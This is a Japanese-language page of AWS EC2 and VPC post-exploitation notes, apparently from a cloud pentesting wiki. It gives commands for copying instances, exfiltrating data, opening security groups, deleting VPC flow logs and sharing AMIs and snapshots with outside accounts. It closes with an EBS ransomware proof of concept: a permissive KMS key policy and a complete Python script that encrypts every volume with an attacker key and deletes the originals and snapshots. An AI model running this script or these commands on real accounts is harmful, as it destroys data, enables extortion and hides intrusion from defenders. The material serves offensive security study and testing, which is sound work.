EC2 & VPC
詳細については、以下を確認してください:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum 悪意のあるVPCミラー - ec2:DescribeInstances
, ec2:RunInstances
, ec2:CreateSecurityGroup
, ec2:AuthorizeSecurityGroupIngress
, ec2:CreateTrafficMirrorTarget
, ec2:CreateTrafficMirrorSession
, ec2:CreateTrafficMirrorFilter
, ec2:CreateTrafficMirrorFilterRule
VPCトラフィックミラーリングは、VPC内のEC2インスタンスのために、インバウンドおよびアウトバウンドトラフィックを複製します 。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。
攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:
詳細については、このページを確認してください:
AWS - Malicious VPC Mirror 実行中のインスタンスのコピー
インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります(EC2特権昇格トリック を確認してください)。ただし、含まれている内容を確認する別の方法は、AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても) :
Copy # List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS スナップショットダンプ
スナップショットはボリュームのバックアップ であり、通常は機密情報 を含んでいるため、これらを確認することでこの情報が明らかになるはずです。
スナップショットのないボリューム を見つけた場合は、スナップショットを作成 し、次のアクションを実行するか、単にアカウント内のインスタンスにマウント することができます:
AWS - EBS Snapshot Dump データの流出
DNS 流出
EC2をロックダウンしてトラフィックが外に出られないようにしても、DNS経由で流出する 可能性があります。
これを無効にするには、次のコマンドで "enableDnsSupport" を false に設定します:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
API コールによる流出
攻撃者は、自身が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログで流出したデータを見ることができます。
オープンセキュリティグループ
次のようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得ることができます:
Copy aws ec2 authorize-security-group-ingress --group-id < sg-i d > --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
ECSへの特権昇格
EC2インスタンスを実行し、それをECSインスタンスを実行するために登録し、その後ECSインスタンスのデータを盗むことが可能です。
詳細についてはここを確認してください 。
VPCフローログの削除
Copy aws ec2 delete-flow-logs --flow-log-ids < flow_log_id s > --region < regio n >
AMIを共有する
Copy aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
公開およびプライベート AMI での機密情報の検索
EBS スナップショットの共有
Copy aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS ランサムウェア PoC
S3 ポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが簡単であることから、Ransomware Management Service(RMS)に名前を変更するべきです。
まず、「攻撃者」AWSアカウントからKMSにカスタマーマネージドキーを作成します。この例では、AWSが私のためにキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのプリンシパルがキーを使用できるようにします。このキーのポリシーでは、アカウントの名前は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。
Copy {
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
kms:GenerateDataKeyWithoutPlainText
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
これにより、アカウントに残るのは暗号化されたEBSボリュームのみとなります。
また、スクリプトは元のEBSボリュームを切り離して削除するためにEC2インスタンスを停止しました。元の暗号化されていないボリュームはもうありません。
次に、'attacker'アカウントのキー ポリシーに戻り、キー ポリシーから「Outside Encryption」ポリシー ルールを削除します。
Copy {
"Version" : "2012-10-17" ,
"Id" : "key-consolepolicy-3" ,
"Statement" : [
{
"Sid" : "Enable IAM User Permissions" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:root"
} ,
"Action" : "kms:*" ,
"Resource" : "*"
} ,
{
"Sid" : "Allow access for Key Administrators" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
} ,
"Action" : [
"kms:Create*" ,
"kms:Describe*" ,
"kms:Enable*" ,
"kms:List*" ,
"kms:Put*" ,
"kms:Update*" ,
"kms:Revoke*" ,
"kms:Disable*" ,
"kms:Get*" ,
"kms:Delete*" ,
"kms:TagResource" ,
"kms:UntagResource" ,
"kms:ScheduleKeyDeletion" ,
"kms:CancelKeyDeletion"
] ,
"Resource" : "*"
} ,
{
"Sid" : "Allow use of the key" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
} ,
"Action" : [
"kms:Encrypt" ,
"kms:Decrypt" ,
"kms:ReEncrypt*" ,
"kms:GenerateDataKey*" ,
"kms:DescribeKey"
] ,
"Resource" : "*"
} ,
{
"Sid" : "Allow attachment of persistent resources" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
} ,
"Action" : [
"kms:CreateGrant" ,
"kms:ListGrants" ,
"kms:RevokeGrant"
] ,
"Resource" : "*" ,
"Condition" : {
"Bool" : {
"kms:GrantIsForAWSResource" : "true"
}
}
}
]
}
少し待って、新しく設定したキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームの 1 つをアタッチしようとします。ボリュームをアタッチできることがわかります。
しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
これが使用される Python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
Copy import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()